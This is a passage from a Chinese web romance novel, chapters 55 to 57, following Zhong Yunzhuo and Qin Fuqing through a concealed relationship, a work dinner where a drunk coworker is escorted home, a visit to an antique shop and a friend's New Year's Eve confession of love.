这么一来一回,也让秦拂清的理智回归不少。 他捏了捏指骨,同时换了个口吻:“方姨见笑了,我们确实只是普通朋友,之前在东四街大院认识的,她对韩治写的书很感兴趣,想当面交流交流,这次就顺道一起过来了。” 秦拂清说得有理有据,任谁也听不出什么破绽。 袁书礼自知儿子这脾气,他不想讲的事情,再怎么纠缠下去也没用。 她一扬下巴:“行了,我们的车已经来了,你跟朋友接着逛去吧。” 秦拂清沉默着没说话,一直看着她们坐上车才返回到观景台。 钟缊酌本来心里是挺难受的,谁不想和恋人间能大大方方互相介绍给家人呢? 可琢磨这一会儿又把自己哄好了,他们的关系从一开始就注定要经历这些,否则她当初也不会纠结那么久。 “那是你母亲吗?她也来这边玩儿了呀。”钟缊酌调整好情绪之后,挺自然地问起他这件事。 秦拂清靠在栏杆旁,轻轻点头。 她看到他有些烦躁地去摸口袋,手上顿了顿,又撤了出来。 秦拂清的脸色很不好,钟缊酌还想说点什么,可还没等她开口,他就忽然提议道:“这里也没什么好看的了,我们回酒店吧。” “啊?但五点的时候会亮灯,景色特别漂亮,再等等嘛。” “我一会儿再陪你来,先回酒店,有话跟你说。” 秦拂清说完就转过身往台阶的方向走。 今天明明是她被孤立了,怎么搞得跟受委屈的人是他似的。 “等等我啊。”钟缊酌迈着小碎步追了上去。 作者有话说:评论区掉落红包~ 第55章 钟缊酌刚把外衣脱下, 还没来得及换鞋,秦拂清直接将人拦腰抱起,也不顾她在那喊“做什么快放我下来”,就这样抱着她来到落地窗前。 这间总统套房的装修是偏民国风的, 客厅里没有开灯, 整个基调偏暗, 唯有从那窗边映进来一束白光。 钟缊酌摇摇晃晃地站好,秦拂清从后面一把搂住她,贴着她的耳朵说了声,“对不起”。 钟缊酌的眼泪一下子冒了出来。 人就是很奇怪,当把所有的委屈自己默默咽下后, 如果这时有人再跑过来安慰,反而会更忍不住想哭。 秦拂清望着窗外耸立的高楼大厦, 嗓音发沉:“我是没想到,在京市我们小心翼翼, 来到这里还要躲躲藏藏,这世上就没有一个能做自己的地方。” 钟缊酌眨了眨眼睛, 没让泪水流下来。 纵使心里有千言万语, 最终也只化作了一句话:“没关系,我知道你的心意就好。” “再给我一段时间, 我会找机会和他们说清楚。” 那时的秦拂清还不知道。 钟缊酌对他们的未来是有多么悲观, 她几乎是抱着能多谈一天恋爱就好的心思去和他在一起的。 因为发生这件意外, 接下来的行程气氛也变得略微沉闷。 两人漫步在古镇里的青石板路上, 却无心看风景, 各怀着心事,一言不发。 来到一处禅院前,钟缊酌的脚步停了下来。 “我记得那时在古柘寺, 傅沅宗做过一场法事给家人祈福,你说真的有用吗?” 秦拂清知道她心里在想什么,他说了句模棱两可的话:“信则有,不信则无。但我是无神论者,我只信自己。” 钟缊酌在院前驻足片刻,最后还是抬脚迈过那道横梁,“试试吧,万一呢。” 她没拜过神像,也不懂其中规则,在买香期间顺便跟工作人员请教了几句,此时恰逢一位大师路过。 或许是因今日游客寥寥无几,亦或许是见两人气度不凡,这位大师竟主动跟她讲了一句话。 “因缘所生,生灭无常。以平和心态面对生命变化,顺应因缘。” 待钟缊酌转头想再细问其中意义,大师早已不见身影。 她喃喃自语着,顺应因缘,难道是告诉她什么都不用做,顺其自然就好吗? 拜过之后,从禅院出来,秦拂清大概是觉得气氛过于压抑,找了一家做手工非遗的店,拉她坐下,“这漆扇看起来挺漂亮,我们来做一个。” 钟缊酌也立即被扇面上那五颜六色的图案吸引住了,应声道:“嗯。” 她选了个紫色的蝶恋花图案。 店主帮忙把漆料调好后,钟缊酌便根据临时培训的教学,拿起空白扇子垂直入水,再慢慢旋转,利用水流带动漆料附着。 钟缊酌的第一次操作还算成功,在扇子带着图案出水的一刹那,她着实被惊艳到了。 “快看,这是我做的蝶恋花!好美啊。” 秦拂清扬了扬唇:“那咱俩谁是蝶谁是花?” 钟缊酌对着扇面似是在自言自语:“你整天一身黑,当不了花呀,毕竟黑花极其罕见,当蝶的话就只能是凤蝶,黑色的翅膀,也很漂亮。” 秦拂清被这一通无厘头的自白逗笑了,差点儿弄坏手上的图案。 “你的做好了吗?”钟缊酌凑过来,好奇地瞄了眼。 他选的图案是寒木春华,由墨黑加灰白加金黄组成,是很传统的国风风格。 “马上好了。”秦拂清进行最后的收尾,慢慢拿起来,一幅像是洒进了万缕金光的水墨画蓦然呈现在眼前。 钟缊酌给他鼓掌,说他以后工作不忙了可以去练个非遗手艺,作为人生第二事业。 “等我工作不忙的时候,还想要跟你去环球旅行呢。” 钟缊酌心里猛地一跳,为这样漫不经心口吻道出的一句真心话- 十二月初的一个工作日晚,公司照例举办部门聚餐。 这是实习后第一次被邀请参加公司集体活动,钟缊酌和傅柠不好推脱,便在下班后跟着去了附近的餐馆。 一部门三十多人,拢共坐了三桌,钟缊酌和傅柠因在不同的组,也没能坐到一起。 众人举杯庆祝,陈婷先讲了一些关于今年的KPI考核完成情况,给每个人做了几句点评。所幸钟缊酌只是个实习生,轮到她时直接被跳过,她心里暗暗松口气。 这顿饭吃得氛围还算轻松,大家天南海北地聊开之后,开始站起来敬酒。 钟缊酌不需要做这些面子功夫,有人来敬就跟着喝一口,没有就兀自当个安安静静的干饭人。 期间,喻峰在饭桌上吹嘘自己的风光业绩,周围同事有给捧哏的,钟缊酌对这人印象不怎么好,也就假装没听见。 忽然一声咣当门响,把钟缊酌吓一跳。 她抬头去看,发现是傅柠跑出去了。 屋里热热闹闹地,这道响动没引起其他人注意,钟缊酌不放心,跟着出了门。 她看见她跑去了卫生间的方向,赶过去之后,傅柠正使劲往脸上扑着水。 “怎么了傅柠,你没事吧?”钟缊酌关切地问。 傅柠关上水龙头,抽出一张纸巾擦脸,待情绪稳定后才开口:“我之前跟你说过的那个狄超记得吧,今天他是直接演都不演了,想过来灌我酒,有病啊追人哪有这么追的。” 她脸颊还泛着红,显然喝了不少,钟缊酌皱眉,“不然一会儿跟领导说先走吧,万一他再来骚扰你就麻烦了。” “没事儿,他被我呲完就不敢说话了,我是气不过咋有这么贱的人。” 钟缊酌陪她在这儿一起吐槽,一直到她完全消气,两人回去之后,又跟着待了半小时饭局才结束。 “缊酌,你是打车回家吗?”陈婷问。 钟缊酌点头,“嗯,打车方便些,这么晚应该不堵车了。” “那路上小心,到家跟我报个平安。” “好的,谢谢婷姐。” 钟缊酌回头去寻找傅柠的身影,发现她正被同事搀扶着往外走。 钟缊酌追上去,傅柠此刻已和方才判若两人,走路摇摇晃晃地,眼神也迷离起来。 “她怎么又喝酒了啊。” 旁边的人说:“其实后来没喝多少,就是刚开始灌得猛,这会儿应该是后劲儿上来了。” “给我吧,我帮她叫车。”钟缊酌将人扶过来,和同事告别。 “傅柠,清醒清醒,告诉我去哪儿我送你。” 钟缊酌看到她这个样子也不放心,打算先送她回去自己再打车回家。 “不用——”傅柠打了个嗝,“你跟我也不是一个方向呐,我要回学校,明天还有课呢。” “你站都站不稳了,到学校怎么上去?而且司机中途起歹心怎么办,不行不行,我得看着你安全到达目的地。” 傅柠坐在马路牙子上,看钟缊酌站在旁边打车,拉住她的手说:“不然,你帮忙把我堂、堂哥叫过来吧,让他送我回学校。” 钟缊酌琢磨了下,也不是不行,有他在的话肯定安心了。 她打开通讯录时才想起好像没留过他联系方式,便借来傅柠的手机打。 电话接通后,钟缊酌先表明身份,然后解释说:“今晚我们公司聚餐,傅柠喝醉了让我问你,你现在能过来把她送回学校吗?” 那边的傅沅宗叹口气,语气听不出情愿还是不情愿,只平淡说了句:“把定位发来吧。” 钟缊酌搞定完,将手机还给傅柠,“走,我们回屋里待会儿,外面冷。” 傅柠呲着牙冲她说好。 约莫等了二十分钟,钟缊酌看到一辆银色林肯从远处驶来,她搀着傅柠走过去,等傅沅宗下车看到这两人,“嘶”了声,“怎么喝成这样?” 钟缊酌斟酌着措辞,“同事灌的,她可能高估了自己的酒量。” “像什么话,回去非得跟我大伯父说说这事儿。” 傅柠还不服气,晃着胳膊往天上指,“我才没喝多,两瓶,不,一瓶半啤酒而已——” “闭上嘴,乖乖坐进去。”傅沅宗没给她辩解的机会,直接将人拖进车里。 钟缊酌跟两人摆手,“那拜托你了,路上慢点开。” 傅沅宗看了眼时间,迟疑两秒后,回过身来问她:“你要不要跟我们一起?傅柠学校离这儿不远,我送完她再送你回大院。” 钟缊酌忙说不用,太麻烦他了。 “我倒不怕麻烦,就怕有人会找我麻烦。”傅沅宗拿出手机迅速拨了个电话,“你稍等一下。” 钟缊酌听出秦拂清的声音,原来他是要和他报备。 不用这么夸张吧 其实傅沅宗心里也很纠结,不送吧,这么晚了姑娘家一人怕再有个意外,但要送更怕那个醋缸子犯疯。 “那你就发挥一下绅士精神帮个小忙,我下次请你吃饭。”那边的秦拂清说。 “不用,你别来阴阳怪气我就谢天谢地了。” 傅沅宗挂掉电话,看向钟缊酌,“我这边已经没后顾之忧了,就看你想不想上车。” “” 话都说到这份儿上了,她也没办法再拒绝,再次道声谢后,拉开后车门坐了上去。 此刻的傅柠已经打起了呼噜,钟缊酌小心将她身子摆正,又在脑袋下面垫了个靠垫。 一路无话。 车子一直开到宿舍楼楼下,钟缊酌问傅柠舍友电话,结果打过去都没人接。 她只能跟宿管阿姨解释一番,自己把她扶进了宿舍。 “还多亏你跟过来了,换我都进不去。”傅沅宗笑说。 说到这里,他又想起另一件事,“哪个同事灌她的啊,对实习生下手都这么狠。” 傅沅宗以为只是普通的劝酒没把握好尺度,问得也很随意。 对于今晚发生的不愉快,钟缊酌本来不想做太多脑补,毕竟傅柠自己都没往那边想。但过去一些不好的经历让她不得不变得谨小慎微。 “是有个叫狄超的男同事,之前傅柠提过这人似乎想追她,只是不知道为什么要灌她酒” 她说得比较隐晦,但傅沅宗明显听懂了,默了片刻,嗤声道,“我关注下这个人,他怕不是活腻了。” 钟缊酌蜷起手指,没说话,往事犹如噩梦般袭入大脑,她发不出任何声音。 傅沅宗捕捉到空气中的异常,他自然知道曾经发生在她身上的事情。要知道为了给这姑娘报仇,秦拂清差点儿搭上自己的前途。 “女孩子在外确实要多注意安全,不过你放心,现在有老秦在你身边,没人敢欺负你。” 钟缊酌抿了下唇,平静地说:“嗯,那段时间我都有心理阴影了,还要多亏他顺手帮了我一把。” 傅沅宗惊诧她的说辞,“哪儿是顺手啊,这快叫同归于尽了吧。” 钟缊酌睁大眼:“为什么?” “你可能不懂,这个圈子最忌讳举报同行,他做的事若是被外人知道,升迁之路也就到此为止了。”傅沅宗沉声解释。 作者有话说:评论区掉落红包~ 第56章 东四街大院门口附近有一家修表的店铺, 平时客人不多,老板正悠哉悠哉地躺在摇椅上小憩,忽听一声门响。 看清来人后,他起身迎上去, “您又来修那只表吗?” 吴少维应声, “嗯, 麻烦了。” 老板戴上眼镜,拧开表盘螺丝。 这位客人近半个月就来了三次,眼前这只表起码也有十余年头了,不知客人为何如此执着。 “我说句不中听的话,看您也不像缺钱的人, 怎么不考虑换只新的?” 老板也是实在,这么想着就直接问了出来。 “这是我母亲送给我的表。”吴少维淡淡解释一句。 这时又有人进来, 也是个熟人,只是不是来修表的, 他冲屋里喊一嗓子,“少维, 好了没?” “马上, 再等几分钟。” 张桢没往里走,就在门口杵着。没一会儿, 不知看到了什么, 他脸色突然变得很差。 另一头的吴少维刚结完账, 出来时正好看到一辆黑色宾利车从眼前飞驰而过, 脚下顿时卸了力。 “我本想提醒你的, 没来得及开口你就过来了。” “无所谓,已经跟我没什么关系了。” 吴少维冷着一张脸去开车,两人今天约好一起打球, 没想到刚出来就遭了两回罪。 一是他不小心摔坏了表盘玻璃,二是撞见了最不想见的那个人。 看出他内心的忧伤,张桢挺无奈地说了句风凉话:“你现在后悔也晚了,要怪就怪自己没抓住机会吧。” “我抓住机会也没用,她根本不喜欢我。”吴少维自嘲道。 “感情是可以培养的,你都不动动心思追人家,等着天上掉下个林妹妹啊。” 吴少维不说话了,张桢以为他被自己气到,刚要安慰几句,就听他又开口:“因为我害怕越用力抓住,投入的感情越多,到头来对方只会把我踢得更远,就像我母亲一样。” “她付出了多少心血在我父亲身上,最后得到了什么?” 这次轮到张桢沉默了。 吴少维家里的情况他是知道的,或许原生家庭的影响,注定让他无法在感情上付出全部真心。 “其实你比较适合找一个更爱你的人,让她来主动追你。”张桢最后只说了这么一句- 钟缊酌已经很久没再去过古玩馆,她很想念冯伯,想念小虎,也想念那一屋子写满历史故事的古董。 今日得了空,便恳求秦拂清带她再回去一趟,“冯伯肯定背后说我是白眼狼呢,走了这么久,也不知道去看望他老人家。” “我看你这分明是在提醒我,怕我不肯带你去。”秦拂清双腿交叠,笑着放下文件。 钟缊酌见他暂时撂下工作,一把扑过去搂住男人的腰,使劲儿往他怀里钻,也不顾还有外人在。 “好了好了,我这不是已经答应你了嘛。”秦拂清以为她在撒娇,声音也温柔起来。 可钟缊酌还是没放开,“跟这个没关系,我就是想抱着你。” 这会儿季昌已经自觉地放下了隔离板。秦拂清咳嗽一声,以前都是他主动求欢,今天也不知这小姑娘是怎么了。 “不会是做了什么对不起我的事儿了吧?”秦拂清半开玩笑道。 “什么乱七八糟的呀。”钟缊酌撅起嘴,“就是觉得你对我太好了,想亲近你而已。” “这么点儿小事就感动成这样,还以为以前我对你多不好呢。” “你一直对我都很好,特别特别好。” 钟缊酌闭上眼睛,满脑子里都是傅沅宗那天晚上说过的话。 秦拂清为她冒过那么大的险,她为什么到现在才知道呢? 车子一路平稳行驶到古玩馆外,冯盛披着一身厚厚的棉衣,早已在胡同里等候。 “冯伯——”钟缊酌呼哧带喘地跑过去,打量一番,“您白头发又多了几根,是不是没有我在不顺心呀。” “我一头白发,怎么看出多几根的?你这小丫头啊,越来越会逗人玩儿了。”冯盛嘴里在批评人,可脸上的笑意怎么也掩饰不住。钟缊酌笑嘻嘻地吐了下舌头。 自从她离开之后,馆里也没再招来新人。秦拂清工作忙,还要陪女朋友,已然无心顾及其它,便将这里全权交给了冯盛。 “小虎还好吗?最近挑没挑食呀?” “好着呢,你快去看看吧,它肯定很想你。” 几个月不见,小虎又壮实了一些,已经不是当初来时那个小不点了。 钟缊酌揉着它的后背说:“快快长大,以后再有野猫来,你就不会怕它们了。” “对了冯伯,这是我给您带的香烟,按照您以往的口味儿来的。”钟缊酌从包里掏出一条黄金叶,是她选了一下午的礼物。 “谢谢丫头。”冯盛乐呵呵地接了过去。 秦拂清酸酸地看过来,故意噎了句,“我怎么就没这待遇啊。” “我要监督你少抽,怎么能给你送烟呐。”钟缊酌拜过他的脸,“别看了,我们去展览室看看古董吧。” 要说人总是这样,拥有的时候不在乎,等失去了才知道珍惜。 钟缊酌以前在这里做兼职,从来没认认真真欣赏过那些古董,只会背课文似的给客人们做介绍。 可一走了之后,又怀念起它们的样子,总觉得哪儿哪儿都好看。 走到最里面的那排博古架旁,一处空出来的格子格外显眼。 “咦,我记得这里有件青花瓷来着,怎么不见了?” “上个月我让冯伯捐赠给博物馆了。”秦拂清了然道,“那是产自元代的瓷器,现世间存量不多,捐给博物馆能让更多的人欣赏。” 钟缊酌刚想要赞扬他几句,可没等这顶高帽戴下来,他就一挥手,“走,我带你去看一个新鲜的东西。” 会客室一角的玻璃柜里,赫然出现一块不规则的黑色石头,仔细观察,上面还布满了复杂的纹理和沟壑。 钟缊酌好奇地盯着看一会儿,问他:“这是什么呀?” “陨石。” “陨石?”钟缊酌嘴巴微张,惊叹这样的天外来物竟然真的就在眼前。 秦拂清耐心给她讲解:“现在市场上能买卖的陨石有限,有些具有文物属性的稀有品种就要交给国家,这种属于是个人野外勘探获得的铁陨石。” “个人勘探来的,听起来很厉害的样子。” 那天在古玩馆,钟缊酌意外学到了一个新名词——陨石猎人。 有这样一群人,他们追随陨石的脚步,发现来自天外的陨石。像猎人一样,寻找来自天外的猎物,游走于戈壁,荒漠。[1] 钟缊酌没有深入了解过这个职业,只是发自内心感叹着好浪漫,好自由的一段话 平安夜前夕,京市下了场大雪。 整个城市笼罩在一片银装素裹中,不少同学兴奋地跑出教室,在操场上打起了雪仗。 钟缊酌回到宿舍,看到宋黎若一个人趴在桌子上,既没看书,也没玩手机,不知道在想什么。 “若若,若若。”钟缊酌晃了晃她,“该醒醒了,外面下雪了。” 宋黎若恹恹地说:“我醒着呢,你看我眼睛,睁得多大。” 钟缊酌笑了下,“你人在这儿,可魂没在。别以为我看不出来。” 宋黎若“哦”了声,接着冥想去了。 “所以到底怎么了嘛?” 宋黎若这人是属于不鸣则已一鸣惊人的类型,前面闷了半天没说话,最后吼出一句,“谈勉那个混蛋,把我送给他的相机给别的女孩了!” 钟缊酌懵了,“啊?不会吧?” “怎么不会?我亲眼看见的”宋黎若滔滔不绝地控诉着,桌上的手机忽然响了。 她看了眼名字,没接。 对面似乎不死心,接着又打来,一直连续轰炸七八次,宋黎若忍无可忍,终于将人拉黑才彻底安静下来。 “我觉得这里面可能有什么误会”钟缊酌小声嘀咕一句。 “什么误会啊,我算看清了,他就是一花花公子!气死我了!” “若若,你是不是对谈勉——”钟缊酌的话没说完,就被宋黎若打断。 “我对他什么呀!我从前拿他当好朋友,以后连朋友都没得做了!跟他那些红颜知己玩儿去吧!” 她张牙舞爪地凶得厉害,钟缊酌不敢说话了。 但很快,她也顾不上再给宋黎若做心理辅导,谈勉的电话打到了她手机上。 钟缊酌小心捂着屏幕,随便找了个借口出了宿舍。 一直跑到楼梯拐角,她才把电话接起。 “缊酌,抱歉打扰你一下——”谈勉的语气很急,“宋黎若在没在你身边?她不接我电话了。” “在呢,我刚听完她讲你们的事,这会儿她正在气头上。” 谈勉吁了一口气,“那你帮忙跟她解释一下行吗?我真没把那相机给别人,就是我一同事跟我借用两天,现在已经还回来了。” “好,我尽量去跟她讲,但看她的状态,不一定会听我的。” 谈勉又说了些拜托的话,钟缊酌应诺之后,返回到宿舍。 结果她刚要张口,宋黎若就没好气地阻止了她,“你别替他说好话了,我知道他找你帮忙求情,对我来说借和给没什么区别,他那么多相机,偏偏把我送的借人,什么意思啊?” 钟缊酌苦笑了下。 心说看来她这个中间人是彻底派不上用场了,希望等若若冷静下来之后,能再好好听谈勉跟她解释。 下午上完课,昌叔来接她去往西山壹号院。 秦拂清那边有工作没忙完,要晚些才能到,钟缊酌跟季昌商量:“昌叔,可不可以先送我回大院呀,我要拿些东西。” “没问题。”季昌说。 钟缊酌跑进屋里,把提前烤好的面包塞进书包。 想着他最近忙得都没跟她讨过面包吃了,也不知道想念这口没。 秦拂清进门那会儿,天已经完全黑下来,他身上披上了一层皎洁的月光,周遭寒气凛冽逼人。 钟缊酌帮他脱掉大衣,“大厨刚把饭菜送过来,趁热吃。” “你吃吧,我已经吃过工作餐。”说完,秦拂清又解释一句,“闻董非要请客,我简单吃两口就赶回来了。” 这时候,钟缊酌变戏法似地,也不知从哪端出一盘子面包来,“那你要不要吃点这个?” 秦拂清抬眉,“你做的?” “嗯。” “那我得尝尝。” 晚上,一阵荒淫缠绵过后,钟缊酌的睡裙被蹂躏得不像话,她脱掉扔在地上,披着毛毯去了淋浴间。 待她冲洗完,秦拂清已经从另一间浴室出来,人模人样地坐在沙发上吃着剩下的面包。 “有那么好吃嘛,都快被你吃光了。” 秦拂清擦了擦嘴,一脸的餍足,“好吃,不过没有你的好吃。” “什么?”钟缊酌没反应过来。 “因为你有奶油。” 她脸上的颜色像刚煮过的大虾,手指一圈圈绕着半湿的发尾,“整天没个正经,影响多不好。” 秦拂清很坏地笑笑,“那现在可以答应我,以后只给我一个人烤面包了吗?” 钟缊酌扭过头,把脸捂住,“答应了答应了,你别再说了。” 嬉闹完之后,钟缊酌跑去落地窗前看外面的雪景。 灯影交错,暮色渐浓,天地间染上了一层月白,让她蓦然想起去年冬天的那场雪。 那时两人还没在一起,秦拂清和她面对面站在阳台上,用手指在玻璃上为她写下了新年祝福。 “秦拂清,你记不记得去年过年时,你怎么给我写的新年祝福呀?” “当然记得。” “后来你搬走了,我以为再也不会有人为我做这么浪漫的事。” 钟缊酌在那儿自言自语时,秦拂清已经走到了窗边。借着玻璃上那一层薄薄的霜,伸出长指在上面划起来。 一个字一个字慢慢浮现在眼前:我、爱、你。 她的眼底弥上了水雾,似有万千情绪涌出。 钟缊酌调整了下呼吸,“你曾经说过我字好看呢,现在就让你看看我最好的水平。” 她站在男人身旁,接着那一行字下面,认认真真地,用飘逸隽秀的行楷写上了一句话—— 秦拂清,我也爱你。 作者有话说:【1】来自百度百科。 评论区掉落红包~ 第57章 “今晚我要和舍友们跨年, 就不过去找你了。”钟缊酌低眉看着自己缝制的荷包,尽管话说得无情,可脸上还透着一股小女儿家的娇俏。 “就这么把我抛弃了啊。”秦拂清还在尝试挣扎。 “没办法嘛,若若这段时间心情不好, 我想要陪她。” 见事情没了转机, 秦拂清自怜道:“看来今天注定要当一次孤寡老人了。” “三天假期呢, 明天我陪你去看话剧好不好?” 哄完男朋友,室友们也都陆续回到宿舍,楚希雅把书包往床上一扔,“外面到处都是人,咱们能去哪儿啊?” 几人各自瘫在自己的椅子上, 没注意钟缊酌正默默将一只手工荷包塞进抽屉里。 “让若若做决定吧,反正我无所谓。若若, 你想去哪里happy?我们今晚舍命陪君子。”白琪说。 宋黎若心情不好,大家都能看得出来, 为了照顾她的心情,白琪也是豁出去了。 “我要去唱K。”宋黎若喝口脉动润了润嗓子, “学了很多新歌, 让你们看看我实力。” “可以呀,嚎出来就舒服了。”白琪说完就拿起手机去查学校附近的KTV, 这一查不要紧, 稍微好一点的店都已经被定满, 剩下的就是要坐车一两个小时才能到。 “若若, 你还有没有别的想去的” “找家会所唱吧。”宋黎若有些烦躁地扒拉着手机。 常去的臻悦肯定不行了, 那是谈勉家开的,而会所大都是会员制,申请入会需要资格审批, 现在弄别的也来不及。 她把目光定向那个心思单纯的好友。 交往这么久了,也没见她的日常生活和以往有什么不同,是真一点儿便宜不占。 “缊酌,秦拂清有在附近哪家会所办过会员吗?能不能借他的会员用用。” 现在在气头上,宋黎若也不讲究那么多礼数了。 “应该是有的。”钟缊酌绞尽脑汁回想,“附近的话,我记得他有京西俱乐部的会员,我问问啊。” 京西俱乐部是本市最高端的会所之一,办理会员对个人财产和社会地位都有要求,也是富人们最喜欢的社交场所。 因此当钟缊酌说起她们想去的原因时,把秦拂清给逗笑了。 “我给经理打电话吧,你们直接过去就成——确定只唱歌吗?” “嗯,我替她们谢谢你了。” 钟缊酌说出来还有点儿不好意思,让人独守空房还又拿又要的,也就是为了若若她才肯放下这份脸面。 所有一切准备完毕,一行人也不磨叽,换好衣服就直奔京西俱乐部。 俱乐部里面是宫廷式的装潢风格,各式各样的檀木摆件,墙上贴满了精美的壁画,大堂正中间还放着一把金銮宝座,楚希雅和白琪没见过这样的场景,眼睛都看直了。 来到K歌包间,宋黎若先点了一首《杀破狼》,唱到大脑缺氧。 她的音色偏浑圆,属于中气十足的类型,因此与这类歌还算适配。 宋黎若一连唱了好几首,直到实在喊不动了,把话筒递给白琪说:“你来吧,我歇会儿。” 钟缊酌在旁边给她递过去一瓶水。 半明半暗的包厢里,宋黎若眼波流转,硬生生把一滴泪吞回去,才伸手接过,“你们该唱唱,不用特意来照顾我。” 在这一年的最后一天,在京城里最有名的会所,四人彻底放飞自我,欢快淋漓地唱了一个晚上,待缓过神来,已经是夜里十一点。 “我去个卫生间。”宋黎若摇摇晃晃地站起来。 钟缊酌跟着起身,“等等我,我也去。” 两人搀着胳膊往外走,公共走廊上很安静,大理石地板反射着光。 一片肃穆沉寂中,唯有在走廊尽头,站了一个身穿黑夹克的男人。 他侧身而立,指尖夹着一根细长的烟,五官凌厉分明,透出几分痞气来。 目光正望向窗外,不知在看什么。 能进出这里的大都非富即贵,两人不敢生出太多好奇心,漫无目的地扯上几句,便拐进了另一条路。 “若若,你感觉心情好些了吗?”站在洗手台前,钟缊酌一双水润的杏眼看着她,眼底充满关切。 “嗯,我现在气血足得能生吃二两牛肉。” 钟缊酌噗嗤一下乐了,“那可太吓人了,你还是把力气花在唱歌上吧,到了十二点咱们可以弄个倒计时” 宋黎若没说话,一直安静听着,从卫生间出来后,她忽然抬手打断她。 “怎么了?”钟缊酌侧过头问。 宋黎若看着走廊尽头那道身影,吐了口气,“你先回去,有帅哥不撩遭天谴。” 说完就不管不顾地往反方向走去。 钟缊酌瞳孔震颤,不知所措地望着那越走越远的背影,咬牙喊着她的名字:“若若,回来——” 她又不敢太大声,怕那边的人听到场面会更尴尬。 但钟缊酌没时间再去想怎么把她叫回来,她的手机响了。 她跑到另一边的角落里去接电话,刚才的气还没顺过来,说话都连呼带喘地,“怎么这会儿打来了呀?” “大过年的,一点儿时间都不肯给我啊。”秦拂清有些嗔怪的语调,紧接着又疑虑起来,“这是刚跑完八百米?” 钟缊酌怕他误会什么,有些急躁地想解释又不知如何措辞,只能喝令他打开摄像头,“我在走廊上呢,刚陪若若去趟卫生间,因为回来时发生了意外” “嗯,唱了这么久累不累?要不要吃点东西。”秦拂清还在那儿慢条斯理地跟她讲话,手机忽然被人夺去,屏幕上露出谈勉的一张脸,“宋黎若呢?” 钟缊酌:“” 她吞了下口水,没正面回答他的问题,反问道,“你们两个怎么在一块呀?” 谈勉有些不耐烦地与屏幕拉开距离,看样子是准备下车。 刚才太过紧张,钟缊酌这才注意到他们的背景原来是在车里。 “我们在楼下,你刚才说发生了什么意外?宋黎若去哪儿了?” 钟缊酌惊得差点儿把手机扔掉,“楼下?你们也过来了?” 她看到谈勉已经忍到极限了的样子,赶紧克制住自己的诧异,调转摄像头,把屏幕冲着另一头的两人,“你自己看吧。” 屏幕里,宋黎若和那个男人已经聊开了。 她脸上眉飞色舞地不知在讲什么,男人也挺绅士,见她过来就把烟掐了。 只听那头一声“咣当”的声音,屏幕也瞬间黑掉了,应该是谈勉把手机扔在了车座上。 几秒后,秦拂清的脸再次出现,他颇为无奈地往椅背上一靠,“看在他今天受了伤的份儿上,不跟他计较了。” 钟缊酌皮笑肉不笑地,“所以,你们真的来了啊。” “他逼我来的,可不是我想查你的岗。” 钟缊酌看了眼远处雕刻着精美花纹的窗棂下站着的两人,后背不禁起了一层鸡皮疙瘩。 心说这地方不能待了,待会儿不知要发生怎样的一场血雨腥风。 她往包间的方向走,跟屏幕里可怜兮兮的那个人说:“等我问问里面的两位姐姐,能不能放我去跟你跨个年。” 宋黎若把能问的问题已经问遍了,眼前的男人看着一身桀骜劲儿,倒没想象得那么不近人情,起码挺有礼貌的。 她脸上挂着淡淡的笑,最后说了声“谢谢”。 结果一转身,正好看到站在对面雪梅屏风处,眼神快要刀死人的谈勉。 宋黎若表情立即垮了。 她莫不是产生幻觉了?谈勉为什么会出现在这里? 而且,刚刚站在那里的明明是缊酌来着,她人呢? 宋黎若已然来不及思考那么多,她本来心里还带着怨气,这会儿又莫名心虚起来。 “你来干什么?”她瞪着眼睛质问。 “你说我干什么。”谈勉抄着兜走过来,“这人是谁?” 后面的男人抬眼打量着两人,也不恼火,缓缓掏出根烟,唇角划出意味不明的笑。 “你管他是谁,跟你有关系吗?” 宋黎若说完就使劲儿推了他一把,也顾不得维持什么大小姐形象,拔开腿就往电梯处跑。 “宋黎若!” 接近十二点的京城深夜,室外温度足有零下十度,可宋黎若连外套都没穿就直接跑了出来。 她也不知道自己为什么要这样做,她就是不想看见这个人,就是要让身体感受痛苦以掩饰内心的伤口。 谈勉是在宋黎若跑到俱乐部门口的台阶处抓到她的。 他扯下自己的外套披在她身上,宋黎若拿起来就往地上一扔,眼眶里溢出泪水,“你现在假惺惺地对我好有什么用?谈勉,你不是第一次拿我送的东西给别人了,你以为我不知道吗!?” “那都是以前不懂事的时候,我跟你道歉行不行?以后我绝对不这么做了。” 宋黎若抹了下脸,“没有以后了,我们别做朋友了,就到此为止吧。” “一个十几岁的男生能知道什么啊,就当他犯傻还不成。”谈勉蹲下捡起衣服甩了甩,“先穿上,这么冷的天别冻感冒了。” 宋黎若往后退一步,“你滚开。” 谈勉身子骨里的火气算是很旺的,可依然冷得够呛,他不敢想象打小就怕冷的宋黎若此刻会是什么感觉。 他没再由着她,把外套往人身上一裹,同时从后面紧紧抱住她。 宋黎若挣扎了两下,没挣开,小声骂了一句“流氓”。 “若若,我们认识十五年了吧,有些话我一直想说但不敢说。”谈勉贴在她耳边,呼出的气体变成了白雾,“我喜欢你,真的真的很喜欢你。” “你胡说。”宋黎若抽了下鼻子。 谈勉笑了,“这种话我有什么好胡说的,你以为我平白无故为什么要把自己弄成这个肤色,还不是因为你?” 宋黎若心脏猛地一紧,回过头来看他,“你说因为我?因为我喜欢的那个动漫角色是小麦肤色?” 谈勉很轻地“嗯”了声,替她擦掉了眼角的那滴泪。 宋黎若有些气恼的样子,“那你为什么不早说?如果不是今天发生这些事,你还要瞒多久。” “我害怕啊,我不知道你对我到底怎么想的,我怕说完之后,我们连朋友都没得做了。” 谈勉也不知自己是冻得还是紧张,声音都开始不稳,“但是刚刚你说,以后不要跟我做朋友,我就知道,如果现在不说我就再也没有机会了。” 谈勉见她低着头不说话,豁出去般在她嘴唇上亲了一下。 柔软湿热的触感,酥酥痒痒地,宋黎若脸颊顿时烧了起来。 “谁允许你乱来的。”她羞赧地口吻,听不出太多责怪的意味。 “那你喜欢吗?”谈勉深邃的眼睛里诉说着情意,她从没见过他这样的表情。 “喜欢什么呀” “喜欢我,或者刚刚那个吻。” 宋黎若抿了下唇,上面还留有他身上特殊的荷尔蒙味道。 她慌乱地将领子拉高,这衣服对她来说本来就大,再一缩脖子恨不得把整个人都能埋进去,“先回屋里,到里面再告诉你你别冻坏了。” 说完她就转身要往里走。 谈勉站在原地没动,眼睛盯着俱乐部外墙上挂着的那座钟,喊了声,“宋黎若——” “嗯?”宋黎若回身去看。 “还有一分钟。”他喉结滚动着,“能陪我在这儿跨年吗?” 宋黎若垂下眼睫,心口跳得厉害,“好。” 在她说出好字的一刹那,脚下一空,整个人被对方抱到跟前,低头就吻了上去。 